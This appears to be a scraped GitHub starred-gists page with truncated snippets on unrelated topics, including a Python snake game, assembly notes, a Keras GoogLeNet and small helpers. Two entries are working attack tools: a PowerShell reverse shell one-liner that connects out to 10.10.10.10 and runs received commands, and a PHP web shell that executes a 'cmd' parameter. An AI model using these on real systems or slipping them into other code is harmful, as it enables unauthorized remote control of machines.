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I'm temporarily off from computer stuff to be sane

Garam Lee KnightChaser

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I'm temporarily off from computer stuff to be sane
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@wynand1004
wynand1004 / snake_game.py
Created September 2, 2018 08:56
A Simple Snake Game made in Python 3
# Simple Snake Game in Python 3 for Beginners
# By @TokyoEdTech
import turtle
import time
import random
delay = 0.1
# Score
@pabloleonalcaide
pabloleonalcaide / checkImageExist.js
Created May 17, 2018 08:08
Check if a image file exists with Javascript
/**
* Checking if an image exist in your image folder
*/
let loadImage = function(variable){
var image = new Image();
var url_image = './ImageFolder/' + variable + '.jpg';
image.src = url_image;
if (image.width == 0) {
return `<img src='./ImageFolder/defaultImage.jpg'>`;
} else {
@egre55
egre55 / powershell_reverse_shell.ps1
Last active June 11, 2026 08:14
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@yellowbyte
yellowbyte / compiling_asm.md
Last active May 1, 2026 05:18
how to assemble assembly with NASM assembler to 32-bit or 64-bit ELF binary with or without libc

32-bit ELF binary

how to assemble and link:

nasm -f elf32 -o <filename>.o <filename>.asm
ld -m elf_i386 -o <filename> <filename>.o

template code (hello world):

section .text
global _start
@ryo
ryo / aarch64-cond.txt
Created February 15, 2018 05:16
aarch64 condition code cheat sheet
meaning cmp A, B sign flags
------------------------------- ------- --------------- --------------- -------------------
equal eq A == B - Z == 1
not equal ne A != B - Z == 0
carry set cs,hs A >= B unsigned C == 1
carry clear cc,lo A < B unsigned C == 0
higher hi A > B unsigned C == 1 && Z == 0
lower or same ls A <= B unsigned !(C == 1 && Z == 0)
@joswr1ght
joswr1ght / easy-simple-php-webshell.php
Last active June 4, 2026 13:18
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@steveharoz
steveharoz / .block
Last active January 2, 2026 08:11 — forked from mbostock/.block
d3-force testing ground
license: gpl-3.0
height: 1030
scrolling: yes
@joelouismarino
joelouismarino / googlenet.py
Last active October 24, 2024 05:51
GoogLeNet in Keras
from __future__ import print_function
import imageio
from PIL import Image
import numpy as np
import keras
from keras.layers import Input, Dense, Conv2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Dropout, Flatten, Concatenate, Reshape, Activation
from keras.models import Model
from keras.regularizers import l2
from keras.optimizers import SGD
@devudit
devudit / closest-lower-higher-number.php
Last active January 6, 2024 18:22
Get closest, lower and higher number as a associative array from a array
<?php
function closestLowerHigherNr($array, $nr) {
sort($array);
$re_arr = array('lower'=>min(current($array), $nr), 'higher'=>max(end($array), $nr), 'closest'=>$nr);
foreach($array AS $num){
if($nr > $num) $re_arr['lower'] = $num;
else if($nr <= $num){
$re_arr['higher'] = $num;
break;
}
@meritozh
meritozh / exec.cpp
Created April 5, 2016 07:12
use c++ to execute a command and get the output of command. It only grab stdout. Use perror or add "2>&1" for grabbing stderr.
#include <iostream>
#include <cstdarg>
#include <string>
#include <fstream>
#include <memory>
#include <cstdio>
std::string exec(const char* cmd) {
std::shared_ptr<FILE> pipe(popen(cmd, "r"), pclose);
if (!pipe) return "ERROR";